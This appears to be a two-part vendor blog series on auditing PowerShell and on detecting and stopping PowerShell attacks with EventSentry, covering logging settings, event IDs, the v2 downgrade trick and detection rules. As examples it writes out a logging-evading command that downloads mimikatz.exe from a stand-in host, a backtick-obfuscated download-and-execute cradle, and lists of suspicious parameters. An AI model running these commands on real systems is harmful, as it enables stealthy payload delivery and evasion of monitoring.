From PowerShell to p@W3RH311 – Detecting and Preventing PowerShell Attacks

In part one I provided a high level overview of PowerShell and the potential risk it poses to networks. Of course we can only mitigate some PowerShell attacks if we have a trace, so going forward I am assuming that you followed part 1 of this series and enabled

  • Module Logging
  • Script Block Logging
  • Security Process Tracking (4688/4689)

I am dividing this blog post into 3 distinct sections:

  1. Prevention
  2. Detection
  3. Mitigation

We start by attempting to prevent PowerShell attacks in the first place, decreasing the attack surface. Next we want to detect malicious PowerShell activity by monitoring a variety of events produced by PowerShell and Windows (with EventSentry). Finally, we will mitigate and stop attacks in their tracks. EventSentry’s architecture involving agents that monitor logs in real time makes the last part possible.

But before we dive in … the

PowerShell Downgrade Attack

In the previous blog post I explained that PowerShell v2 should be avoided as much as possible since it offers zero logging, and that PowerShell v5.x or higher should ideally be deployed since it provides much better logging. As such, you would probably assume that basic script activity would end up in of the PowerShell event logs if you enabled Module & ScriptBlock logging and have at least PS v4 installed. Well, about that.

So let’s say a particular Windows host looks like this:

  • PowerShell v5.1 installed
  • Module Logging enabled
  • ScriptBlock Logging enabled

Perfect? Possibly, but not necessarily. There is one version of PowerShell that, unfortunately for us, doesn’t log anything useful whatsoever: PowerShell v2. Also unfortunately for us, PowerShell v2 is installed on pretty much every Windows host out there, although only activated (usable) on those hosts where it either shipped with Windows or where the required .NET Framework is installed. Unfortunately for us #3, forcing PowerShell to use version 2 is as easy as adding -version 2 to the command line. So for example, the following line will download some payload and save it as calc.exe without leaving a trace in any of the PowerShell event logs:

powershell -version 2 -nop -NoLogo -Command "(new-object System.Net.WebClient).DownloadFile('http://www.pawnedserver.net/mimikatz.exe', 'calc.exe')"

However, let’s not forget that PowerShell automatically expands command line parameters if there is no conflict with other parameters, so running

powershell -v 2 -nop -NoLogo -Command "(new-object System.Net.WebClient).DownloadFile('http://www.pawnedserver.net/mimikatz.exe', 'calc.exe')"

does the exact same thing. So when doing pattern matching we need to use something like -v* 2 to ensure we can catch this parameter.

Microsoft seems to have recognized that PowerShell is being exploited for malicious purposes, resulting in some of the advanced logging options like ScriptBlockLogging being supported in newer versions of PowerShell / Windows. At the same time, Microsoft also pads itself on the back by stating that PowerShell is – by far –the most securable and security-transparent shell, scripting language, or programming language available. This isn’t necessarily untrue – any scripting language (Perl, Python, …) can be exploited by an attacker just the same and would leave no trace whatsoever. And most interpreters don’t have the type of logging available that PowerShell does. The difference with PowerShell is simply that it’s installed by default on every modern version of Windows. This is any attackers dream – they have a complete toolkit at their fingertips.

So which Operating Systems are at risk?

PowerShell Version 2 Risk
Windows Version
PowerShell V2
Active By Default
PowerShell V2
Removable?
Threat Level
Windows 7 Yes No Vulnerable
Windows 2008 R2 Yes No Vulnerable
Windows 8 & later No Yes Potentially Vulnerable – depends on .NET Framework v2.0
Windows 2012 & later No Yes Potentially Vulnerable – depends on .NET Framework v2.0
Versions of Windows susceptible to Downgrade Attack

OK, so that’s the bad news. The good news is that unless PowerShell v2 was installed by default, it isn’t “activated” unless the .NET Framework 2.0 is installed. And on many systems that is not the case. The bad news is that .NET 2.0 probably will likely be installed on some systems, making this downgrade attack feasible. But another good news is that we can detect & terminate PowerShell v2 instances with EventSentry (especially when 4688 events are enabled) – because PowerShell v2 can’t always be uninstalled (see table above). And since we’re on a roll here – more bad news is that you can install the required .NET Framework with a single command:

dism.exe /online /enable-feature /featurename:NetFX3 /all

Of course one would need administrative privileges to run this command, something that makes this somewhat more difficult. But attacks that bypass UAC exist, so it’s feasible that an attacker accomplishes this if the victim is a local administrator.

According to a detailed (and very informative) report by Symantec, PS v2 downgrade attacks haven’t been observed in the wild (of course that doesn’t necessarily mean that they don’t exist), which I attribute to the fact that most organizations aren’t auditing PowerShell sufficiently, making this extra step for an attacker unnecessary. I do believe that we will start seeing this more, especially with targeted attacks, as organizations become more aware and take steps to secure and audit PowerShell.

1. Prevention

Well, I think you get the hint: PowerShell v2 is bad news, and you’ll want to do one or all of the following:

  • Uninstall PowerShell v2 whenever possible
  • Prevent PowerShell v2 from running (e.g. via AppLocker)
  • Detect and terminate any instances of PowerShell v2

If you so wish, then you can read more about the PowerShell downgrade attack and detailed information on how to configure AppLocker here.

Uninstall PowerShell v2

Even if the .NET Framework 2.0 isn’t installed, there is usually no reason to have PowerShell v2 installed. I say usually because some Microsoft products like Exchange Server 2010 do require it and force all scripts to run against version 2. PowerShell version 2 can manually be uninstalled (Windows 8 & higher, Windows Server 2012 & higher) from Control Panel’s Program & Features or with a single PowerShell command: (why of course – we’re using PowerShell to remove PowerShell!):

Disable-WindowsOptionalFeature -Online -FeatureName 'MicrosoftWindowsPowerShellV2' -norestart

While running this script is slightly better than clicking around in Windows, it doesn’t help much when you want to remove PowerShell v2.0 from dozens or even hundreds of hosts. Since you can run PowerShell remotely as well (something in my gut already tells me this won’t always be used for honorable purposes) we can use Invoke-Command cmdlet to run this statement on a remote host:

Invoke-Command -Computer WKS1 -ScriptBlock { Disable-WindowsOptionalFeature -Online -FeatureName 'MicrosoftWindowsPowerShellV2' -norestart }

Just replace WKS1 with the host name from which you want to remove PowerShell v2 and you’re good to go. You can even specify multiple host names separated by a comma if you want to run this command simultaneously against multiple hosts, for example

Invoke-Command -Computer WKS1,WKS2,WKS3 -ScriptBlock { Disable-WindowsOptionalFeature -Online -FeatureName 'MicrosoftWindowsPowerShellV2' -norestart }

Well congratulations, at this point you’ve hopefully accomplished the following:

  • Enabled ModuleLogging and ScriptBlockLogging enterprise-wide
  • Identified all hosts running PowerShell v2 (you can use EventSentry’s inventory feature to see which PowerShell versions are running on which hosts in a few seconds)
  • Uninstalled PowerShell v2 from all hosts where supported and where it doesn’t break critical software

Terminate PowerShell v2

Surgical Termination using 4688 events

If you cannot uninstall PowerShell v2.0, don’t have access to AppLocker or want to find an easier way than AppLocker then you can also use EventSentry to terminate any powershell.exe process if we detect that PowerShell v2.0 was invoked with the -version 2 command line argument. We do this by creating a filter that looks for 4688 powershell.exe events that include the -version 2 argument and then link that filter to an action that terminates that PID.

Filter & Action to terminate PS v2.0
Filter & Action to terminate PS v2.0

If an attacker tries to launch his malicious PowerShell payload using the PS v2.0 engine, then EventSentry will almost immediately terminate that powershell.exe process. There will be a small lag between the time the 4688 event is logged and when EventSentry sees & analyzes the event, so it’s theoretically possible that part of a script will begin executing. In all of the tests I have performed however, even a simple “Write-Host Test” PowerShell command wasn’t able to execute properly because the powershell.exe process was terminated before it could run. This is likely because the PowerShell engine does need a few milliseconds to initialize (after the 4688 event is logged), enough time for EventSentry to terminate the process. As such, any malicious script that downloads content from the Internet will almost certainly terminated in time before it can do any harm.

Shotgun Approach

The above approach won’t prevent all instances of PowerShell v2.0 from running however, for example when the PowerShell v2.0 prompt is invoked through a shortcut. In order to prevent those instances of PowerShell from running we’ll need to watch out for Windows PowerShell event id 400, which is logged anytime PowerShell is launched. This event tells us which version of PowerShell was just launch via the EngineVersion field, e.g. it will include EngineVersion=2.0 when PowerShell v2.0 is launched. We can look for this text and link it to a Service action (which can also be used to terminate processes).

Filter & Action to terminate all powershell instances
Terminate all powershell instances

Note: Since there is no way to correlate a Windows PowerShell event 400 with an active process (the 400 event doesn’t include a PID), we cannot just selectively kill version 2 powershell.exe processes. As such, when a PowerShell version instance is detected, all powershell.exe processes are terminated, version 5 instances. I personally don’t expect this to be a problem, since PowerShell processes usually only run for short periods of time, making it unlikely that a PowerShell v5 process is active while a PowerShell v2.0 process is (maliciously) being launched. But decide for yourself whether this is a practicable approach in your environment.

2. Detection

Command Line Parameters

Moving on to detection, where our objective is to detect potentially malicious uses of PowerShell. Due to the wide variety of abuse possibilities with PowerShell it’s somewhat difficult to detect every suspicious invocation of PowerShell, but there are a number of command line parameters that should almost always raise a red flag. In fact, I would recommend alerting or even terminating all powershell instances which include the following command line parameters:

Highly Suspicious PowerShell Parameters
Parameter
Variations
Purpose
-noprofile -nop Skip loading profile.ps1 and thus avoiding logging
-encoded -e Let a user run encoded PowerShell code
-ExecutionPolicy bypass -ep bypass, -exp bypass, -exec bypass Bypass any execution policy in place, may generate false positives
-windowStyle hidden Prevents the creation of a window, may generate false positives
-version 2 -v 2, -version 2.0 Forces PowerShell version 2
Any invocation of PowerShell that includes the above commands is highly suspicious

The advantage of analyzing command line parameters is that it doesn’t have to rely on PowerShell logging since we can evaluate the command line parameter of 4688 security events. EventSentry v3.4.1.34 and later can retrieve the command line of a process even when it’s not included in the 4688 event (if the process is active long enough). There is a risk of false positives with these parameters, especially the “windowStyle” option that is used by some Microsoft management scripts.

Modules

In addition to evaluating command line parameters we’ll also want to look out for modules that are predominantly used in attacks, such as .Download, .DownloadFile, Net.WebClient or DownloadString. This is a much longer list and will need to be updated on a regular basis as new toolkits and PowerShell functions are being made available.

Depening on the attack variant, module names can be monitored via security event 4688 or through PowerShell’s enhanced module logging (hence the importance of suppressing PowerShell v2.0!), like event 4103. Again, you will most likely get some false positives and have to setup a handful of exclusions.

Command / Code Obfuscation

But looking at the command line and module names still isn’t enough, since it’s possible to obfuscate PowerShell commands using the backtick character. For example, the command.

(New-Object Net.WebClient).DownloadString('https://bit.ly/L3g1t')

could easily be detected by looking for with a *Net.WebClient*, *DownloadString* or the *https* pattern. Curiously enough, this command can also be written in the following way:

Invoke-Expression (New-Object Net.Web`C`l`i`ent)."`D`o`wnloadString"('h'+'t'+'t'+'ps://bit.ly/L3g1t')

This means that just looking for DownloadString or Net.WebClient is not sufficient, and Daniel Bohannon devoted an entire presentation on PowerShell obfuscation that’s available here. Thankfully we can still detect tricks like this with regex patterns that look for a high number of single quotes and/or back tick characters. An example RegEx expression to detect 2 or more back ticks for EventSentry will look like this:

^.*CommandLine=.*([^`]*`){2,}[^`]*.*$

The above expression can be used in PowerShell Event ID 800 events, and will trigger every time a command which involves 2 or more back ticks is executed. To customize the trigger count, simply change the number 2 to something lower or higher. And of course you can look for characters other than the ` character as well, you can just substitute those in the above RegEx as well. Note that the character we look for appears three (3) times in the RegEx, so it will have to be substituted 3 times.

To make things easier for EventSentry users, EventSentry now offers a PowerShell event log package which you can download via the Packages -> Download feature. The package contains filters which will detect suspicious command line parameters (e.g. “-nop”), detect an excessive use of characters used for obfuscation (and likely not used in regular scripts) and also find the most common function names from public attack toolkits.

Evasion

It’s still possible to avoid detection rules that focus on powershell.exe if the attacker manages to execute PowerShell code through a binary other than powershell.exe, because powershell.exe is essentially just the “default vehicle” that facilitates the execution of PowerShell code. The NPS (NotPowerShell) project is a good example and executes PS code through a binary named nps.exe (or whatever the attacker wants to call lit), but there are others. While the thought of running PowerShell code through any binary seems a bit concerning from a defenders perspective, it’s important to point out that downloading another binary negates the advantage of PowerShell being installed by default. I would only expect to see this technique in sophisticated, targeted attacks that possibly start the attack utilizing the built-in PowerShell, but then download a stealth app for all subsequent activity.

This attack can still be detected if we can determine that one of the following key DLLs from the Windows management framework are being loaded by a process other than powershell.exe:

  1. System.Management.Automation.Dll
  2. System.Management.Automation.ni.Dll
  3. System.Reflection.Dll

You can detect this with Sysmon, something I will cover in a follow-up article.

3. Mitigation

EventSentry PowerShell Rules
EventSentry PowerShell Rules

Now, having traces of all PowerShell activity when doing forensic investigations is all well and good, and detecting malicious PowerShell activity after it happened is a step in the right direction. But if we can ascertain which commands are malicious, then why not stop & prevent the attack before it spreads and causes damage?

In addition to the obvious action of sending all logs to a central location, there are few things we can do in response to potentially harmful activity:

1. Send out an alert
2. Mark the event to require acknowledgment
3. Attempt to kill the process outright (the nuclear option)
4. A combination of the above

If the only source of the alert is from one of the PowerShell event logs then killing the exact offending PowerShell process is not possible, and all running powershell.exe processes have to be terminated. If we can identify the malicious command from a 4688 event however, then we can perform a surgical strike and terminate only the offending powershell.exe process – other potentially (presumably benign) powershell.exe processes will remain unharmed and can continue to do whatever they were supposed to do.

If you’re unsure as to how many PowerShell scripts are running on your network (and not knowing this is not embarrassing – many Microsoft products run PowerShell scripts on a regular basis in the background) then I recommend just sending email alerts initially (say for a week) and observe the generated alerts. If you don’t get any alerts or no legitimate PowerShell processes are identified then it should be safe to link the filters to a “Terminate PowerShell” action as shown in the screenshots above.

Testing

After downloading and deploying the PowerShell package I recommend executing a couple of offending PowerShell commands to ensure that EventSentry will detect them and either send out an alert or terminate the process (or both – depending on your level of conviction). The following commands should be alerted on and/or blocked:

powershell.exe -nop Write-Host AlertMe

powershell.exe (New-Object Net.WebClient).DownloadString('https://bit.ly/L3g1t')

powershell.exe `Wr`it`e-`H`ost AlertMeAgain

False Alerts & Noise

Any detection rules you setup, whether with EventSentry or another product, will almost certainly result in false alerts – the amount of which will depend on your environment. Don’t let this dissuade you – simply identify the hosts which are “incompatible” with the detection rules and exclude either specific commands or exclude hosts from these specific rules. It’s better to monitor 98 out of 100 hosts than not monitor any host at all.

With EventSentry you have some flexibility when it comes to excluding rules from one or more hosts:

Conclusion

PowerShell is a popular attack vector on Windows-based systems since it’s installed by default on all recent versions of Windows. Windows admins need to be aware of this threat and take the appropriate steps to detect and mitigate potential attacks:

  1. Disable or remove legacy versions of PowerShell (=PowerShell v2)
  2. Enable auditing for both PowerShell and Process Creation
  3. Collect logs as well as detect (and ideally prevent) suspicious activity

EventSentry users have an excellent vantage point since its agent-based architecture can not only detect malicious activity in real time, but also prevent it. The PowerShell Security event log package, which can be downloaded from the management console, offers a list of rules that can detect many PowerShell-based attacks.

From PowerShell to P0W3rH3LL – Auditing PowerShell

Imagine someone getting the seemingly innocent ability to run a couple of commands on a machine on your network WITHOUT installing any new software, but those commands resulting in a reverse shell running on that same machine – giving the intruder a convenient outpost in your network. Now stretch your imagination even further and pretend that all of this happens without leaving any unusual traces in logs – leaving you completely in the dark. It’s like somebody living in your house or apartment yet you have no idea they’re there. Are you getting goose bumps yet?

Not too long ago I talked with Michael, the creator of the popular cheat sheets which cover PowerShell, the Windows Registry, Windows Logging, and more. Michael ran a few scenarios by me that involved exploiting PowerShell and was curious how EventSentry could help detect those. This really sparked my interest in the topic, and after coming up with a few RegEx expressions that could be used in an EventSentry filter I decided to look more into this subject. I really have to take the opportunity to thank Michael here, whose cheat sheets and input helped me come up with this article and the new PowerShell Security event log package in EventSentry.

If you’re not an InfoSec professional then you may not be fully aware that PowerShell – you know, the language you’re supposed to be fluent in by now – is quite commonly used in attacks. In fact, InfoSec already reported back in 2016 that 38% of all attacks utilize PowerShell in one way or another. And let’s be honest – why wouldn’t you utilize a tool that is pretty much guaranteed to be installed while giving you full access to the .NET Framework and all Windows APIs? So if you haven’t already done so, then securing PowerShell in your environment is something you should think about sooner rather than later. This and the follow-up articles will assist you with this effort.

So what’s so potentially bad about PowerShell in particular? Now, Windows has always shipped with VBScript, a scripting language that’s easy to use for both simple and potentially more complex tasks. In fact, most of the things people do in PowerShell can be done with VBScript just the same. A key benefit of PowerShell, however, is the ability to utilize the .NET framework, something VBScript can’t since it can only interact with COM objects. And since PowerShell is, well, a shell, you get to pipe input/output and create powerful one-liners. On top of that, PowerShell contains some nifty features like encoding scripts, making it possible to run fairly complex code without ever having to use an actual .ps1 script file on disk. It’s VBScript on Steroids.

Here are some concrete examples as to what evildoers can do with PowerShell:

Here is a list of sites hosting “aggressive” PowerShell code and frameworks:

PowerShell Versions

Remember when I talked about “without leaving a trace” above? That’s because Microsoft didn’t introduce the ability to log detailed PowerShell activity until version 5, although PowerShell 3 & 4 generate reasonably useful audit logs as well. In order to protect ourselves against PowerShell attacks, we need to first detect it, which we can only do if PowerShell leaves traces. PowerShell’s ability to produce useful audit logs greatly depends on the version, however, which the table below illustrates:

  • Which version of Windows ships with which version of PowerShell
  • What is the highest supported version of PowerShell for each version of Windows

For more information on version differences also see Differences between PowerShell versions.

Default PowerShell Version on Windows
PowerShell Version
Release Year
Windows Version
Prerequisites
1.0 2006 Windows Server 2008 None
2.0 2009 Windows 7
Windows Server 2008 R2
Microsoft .NET Framework 2.0.50727
3.0 2012 Windows 8
Windows Server 2012
Microsoft .NET Framework 4
4.0 2013 Windows 8.1
Windows Server 2012 R2
Microsoft .NET Framework 4.5
5.1 2017 Windows 10 Microsoft .NET Framework 4.5.2
5.1 2017 Windows Server 2016 Microsoft .NET Framework 4.5.2
(already installed in 2012 and later)
5.1 2017 Windows Server 2019 Microsoft .NET Framework 4.5.2
(already installed in 2012 and later)
All versions of Windows since Server 2008 and the version of PowerShell that it included by default
Default PowerShell vs Highest Supported PowerShell Versions
Windows Version
PowerShell Version
Included With Windows
Highest Supported
PowerShell Version
Windows Vista (SP2) 2.0 2.0
Windows Server 2008 (SP2) 2.0 3.0
Windows 7 (SP1) 2.0 5.1 / 7.0 Core
Windows Server 2008 R2 (SP1) 5.1 5.1 / 7.0 Core
Windows 8 3.0 5.1 / 7.0 Core
Windows Server 2012 3.0 5.1 / 7.0 Core
Windows 8.1 4.0 5.1 / 7.0 Core
Windows Server 2012 R2 4.0 5.1 / 7.0 Core
Windows 10 5.1 5.1 / 7.0 Core
Windows Server 2016 5.1 5.1 / 7.0 Core
Windows Server 2019 5.1 5.1 / 7.0 Core
Shows the versions of PowerShell that ship with Windows as well as the highest supported version of PowerShell

As you can see from the table above, thankfully most versions of Windows are compatible with PS v5, so unless you’re unfortunate enough to be running Server 2008 (or Vista), you should be able to deploy PowerShell 5.1 to most of your systems. I say most, because some Microsoft applications (e.g. Exchange Server 2010) aren’t compatible with PowerShell v5, so you’ll want to make sure you do some research on those machines that actively use PowerShell to prevent disruption.

Coexistence & Legacy

An important thing to note here is that PowerShell v1/v2 can peacefully coexist with PowerShell v3-v5, while versions 3 and later are always upgraded to the latest version. This means that you could have v2 and v4 installed (and many systems do), but not v3 and v5. What’s also interesting is that PS v2 is installed with every major version of Windows (including Server 2016!) although not usable until the .NET Framework v2.0.50727 is installed.

Starting with EventSentry v3.4.1.34 you can thankfully use EventSentry’s software inventory to determine which versions of PowerShell are installed on your network. If you haven’t manually deployed PS v5 yet and aren’t running Windows Server 2016 widely yet, then you will probably see PowerShell v2 and v4 installed on most hosts on your network. EventSentry’s grouping mechanism comes in real handy here.

PowerShell Version Inventory
PowerShell Version Inventory (click for animation)
 

Please note that even though PowerShell v2 may be installed on a machine it doesn’t necessarily mean that PowerShell v2 is actually usable. PowerShell relies on the .NET Framework being installed, and PowerShell v2 specifically relies on the .NET Framework 2.0.50727 (which is part of the 3.5 .NET Framework) – something that is usually not installed by default. I will explain later why this is a good thing.

 

OK, but enough about boring PowerShell versions. If you just remember one thing from the above tables and paragraphs it’s this:

 
  • PowerShell v2: Ever prevalent & Bad!
  • PowerShell v3, v4: Meh.
  • PowerShell v5.1: Good!

Native PowerShell Event Logging

Since PowerShell v1.0 was first introduced with Windows XP – before the Application & Services logs were available – PowerShell likes to log to two different event logs – both of which you should monitor:

  • Windows PowerShell
  • Microsoft-Windows-PowerShell/Operational

Thankfully you don’t need version 5.x to get useful logging – even PowerShell v3 & v4 can log relevant details in the (Windows PowerShell) event log, e.g. the PowerShell command line or commands executed within the PowerShell shell. In fact, even the (decoded) commands are logged to the event log when obfuscated with the -encoded switch.

Logging Options

Logging can be enabled either through group policy or via registry settings. There are three general areas for logging available:

  • Module Logging
  • Script Block Logging
  • PowerShell Transcription

Module Logging
Since everything that is executed in PowerShell is essentially located in a module, module logging will at least generate a high-level audit trail of PowerShell activity and potentially malicious activity. At minimum this will show which commands were executed through PowerShell. This logging level should always be enabled and is useful starting with PS version 3.

Important: Module Logging only works if you specify at least one module to be monitored. Since it’s difficult and cumbersome to predict and edit a list of all modules that could potentially cause harm, I recommend just specifying the * wildcard characters as the module list – see screenshots below.

Script Block Logging
Script Block Logging is more verbose than module logging and provides additional context and output, especially when functions are called and function output itself is invoked as a command. The amount of noise heavily depends on the type of PowerShell activity, but I’d recommend turning this option on as well. If it ends up producing too much noise / volume it can always be disabled or customized later.

Transcription
This provides a full log of all input and output and requires additional considerations in regards to where the transcription files are placed. I’d only recommend this for high-secure environments, you can learn more about it here. Transcript files are stored in the file system, so it’s a little more work than just adding up a couple of registry values. If you enable this feature then you’ll need to make sure that the actual transcript files (which likely contain sensitive data) are protected from unauthorized access.

Enabling Logging

It’s definitely recommended to configure these options via Group Policy to ensure that all machines in the domain receive the settings. If changing group policy is not an option in the short term then you can at least set the registry options until you have an opportunity to set it via group policy. You can use a tool like the EventSentry Admin Assistant to push registry settings out to multiple hosts with just a few clicks.

Group Policy: Configuring this is unfortunately less straightforward than you’d think or expect, depending on the OS version of your domain controller. You can expect the “Module Logging” option to be available in the group policy editor on 2008 R2 and later, however “Script Block Logging” is only available on server 2016 or after manually updating ADMX files. See this thread on how to update your ADMX files. In my environment I just had to replace the PowerShellExecutionPolicy.admx and en-US\PowerShellExecutionPolicy.adml files in the %SYSTEMROOT%\SYSVOL\sysvol\[DOMAINNAME]\Policies\PolicyDefinitions directory with the newer versions after installing the latest version from here.

PowerShell auditing with Group Policy
PowerShell auditing with Group Policy: Administrative Templates → Windows Components → Windows PowerShell

Registry: Only the HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell key exists by default, the other two sub keys “ModuleLogging” and “ScriptBlockLogging” have to be created before you can add the “EnableModuleLogging” and “EnableScriptblockLogging” DWORD values inside those sub keys.

For Module Logging, as shown in the screenshot below,  you’ll also need to create the “ModuleNames” sub key along with a list of modules that will be monitored. I recommend just using the asterisk character which monitors any module.

PowerShell Registry Logging
PowerShell Registry Logging
Configuring PowerShell Event Logging
 
Registry
Group Policy
Module Logging Key: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Name: EnableModuleLogging
Data: 1 (DWORD)Key: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames
Name: [ModulePattern]
Data: [ModulePattern] (REG_SZ)See the screenshot above for example on module logging.
Policies\Administrative Templates\Windows Components\Windows PowerShell\Turn on Module Logging
Script Block Logging Key: HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Name: EnableScriptBlockLogging
Data: 1 (DWORD)
Policies\Administrative Templates\Windows Components\Windows PowerShell\Script Block Logging
HKLM = HKEY_LOCAL_MACHINE

You don’t need to restart after setting the registry values, they will become effective immediately. The same applies to group policy – as soon as the target host has applied the group policy settings, PowerShell will enforce the new logging options.

PowerShell logs a lot of different events to two different event logs, and the table below shows the events I have observed on test systems. Even though the table may not be 100% complete, it does list all the events that are relevant for threat detection. If an event is not listed below then it is likely not relevant for forensics. We will update the list if necessary.

Event Log: Windows PowerShell
Event ID
v2
v3
v4
v5
Correlate
Auditing
Notes
400 X X X X 403 Always logged, regardless of logging settings This even can be used to identify (and terminate) outdated versions of PowerShell running.
403 X X X X 400 Always logged, regardless of logging settings  
500 X X X X 501 Requires $LogCommandLifeCycleEvent = $true in profile.ps1 This event is largely useless since it can be bypassed with the -nop command line switch
501 X X X X 500 Requires $LogCommandLifeCycleEvent = $true in profile.ps1 This event is largely useless since it can be bypassed with the -nop command line switch
600 X X X X 500 Always logged, regardless of logging settings  
800   X X X 500 ModuleLogging This event is inconsistently logged with PowerShell V3
 
Event Log: Microsoft-Windows-PowerShell/Operational
Event ID
v2
v3
v4
v5
Correlate
Auditing
Notes
4100       X     Logged when PowerShell encounters an error
4103     X X   ModuleLogging May be logged along with 500 & 501
4104       X   ScriptBlockLogging  
40961   X X X   Always logged, regardless of logging settings  
40962   X X X   Always logged, regardless of logging settings  

What’s interesting to note is that newer versions of PowerShell will often log to both event logs simultaneously.

Security Event Log Auditing

PowerShell logging is great, but given the discrepancies between the different versions and the possibility to evade it (more on that later), I prefer to have as many methods as possible at my disposal that tell me what PowerShell is doing.

 

Since PowerShell code is usually invoked via powershell.exe (I’m point this out because you technically don’t have to use powershell.exe, and attackers are coming up with creative ways to launch it through other ways – more in part 2 of this series), and because we’re after that processes’ command line, it’s important to monitor Process Start (event id 4688) events from the security event log in addition to events logged by PowerShell itself. This means you’ll need audit the following sub categories from the Detailed Tracking category:

If you are not using EventSentry then I recommend collecting both 4688 and 4689 events so that you can not only determine whether a powershell.exe process was started, but also how long it remained active. If you are an EventSentry user then you just need to verify that Process Tracking (an object for Compliance Tracking) is enabled and configured to capture the command line of a process. EventSentry can automatically parse and correlate 4688 and 4689 events and provide a history of all processes on a monitored system.

EventSentry users can also utilize the Audit Policy Status page to verify that process creations are indeed being audited. You’ll also want to make sure that “Include command line in process creation events” is activated, so that Windows logs the command line of every process as part of 4688 events. After all it doesn’t help us that much just knowing that powershell.exe has been running, we need to know what exactly it has been running.

This can either be enabled via group policy (Administrative Templates\System\Audit Process Creation\Include command line in process creation events) or via the registry (set HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ProcessCreationIncludeCmdLine_Enabled to 1).

Disclaimer: This option is available starting with Windows 7 / Server 2008 R2, earlier versions of Windows don’t support it. Things are a little easier for EventSentry users, which attempts to obtain the command line of a process if it’s not included in the 4688 event and subsequently makes it available as variable $STR9. But more on that in part 2 when we discuss ways to detect and mitigate attacks.

I hope I was able to convince you of the risks that PowerShell poses, what versions of PowerShell are out there, and what type of logging needs to be enabled in order to detect and stop malicious PowerShell in its tracks. In part 2 I’ll talk about how to actually mitigate PowerShell-based attacks – with specific instructions for EventSentry.